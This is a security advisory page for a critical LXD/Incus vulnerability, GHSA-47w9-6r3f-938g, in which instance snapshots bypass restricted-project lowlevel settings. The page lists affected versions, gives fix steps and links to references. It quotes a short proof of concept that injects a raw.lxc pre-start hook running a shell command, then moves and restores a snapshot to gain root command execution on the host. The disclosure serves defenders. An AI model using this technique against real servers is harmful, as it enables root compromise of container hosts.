LXD has restricted project bypass leading to arbitrary command execution
GHSA-47w9-6r3f-938g · GO-2026-6932 · published 6 Nov 2026
How serious is it
- Severity: critical, CVSS score 9.9 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by GHSA-47w9-6r3f-938g?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
github.com/canonical/lxd(Go) < 0.0.0-20260630083100-c5184be310b1
How to check
- Run
go list -m github.com/canonical/lxdin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
github.com/canonical/lxdto 0.0.0-20260630083100-c5184be310b1 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
### Summary
Instance snapshots ignore the `restricted.containers.lowlevel=block` setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as `raw.lxc` and `raw.qemu`.
### Details
Instance snapshots ignore the `restricted.containers.lowlevel=block` setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as `raw.lxc` and `raw.qemu`.
As snapshots can be moved from one server to another, a malicious
instance+snapshot can be crafted locally, moved to a restricted project
and the snapshot restored for arbitrary command execution.
In practice, this allows a malicious actor to execute arbitrary commands
on the host with root privileges.
### PoC
```
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block
# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc
# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc
```
### Impact
- Bypass of project restrictions.
- Arbitrary command execution on the Incus server.
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/canonical/lxd/security/advisories/GHSA-47w9-6r3f-938g
- github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
- nvd.nist.gov/vuln/detail/CVE-2026-48751
- github.com/canonical/lxd/commit/5aac658c888d52e3a2480a8f879799ac643fdc49
- github.com/canonical/lxd/commit/6b93b2a0c4f6f3eaf91e1e813f6875d5eb66b59b
- github.com/canonical/lxd/commit/a52e5d06a52fb7ad8862cb2a8659a8c47e446efe
- github.com/canonical/lxd/commit/cfd9f66f6af89e1fa3b3acb12bfe72f51b7f1e19
- github.com/canonical/lxd/releases/tag/lxd-5.0.7
- github.com/canonical/lxd/releases/tag/lxd-5.21.5
- github.com/advisories/GHSA-47w9-6r3f-938g
- github.com/canonical/lxd
Merged from GitHub Advisory Database, OSV. Last updated 24 Nov 2026. All vulnerabilities · RSS · JSON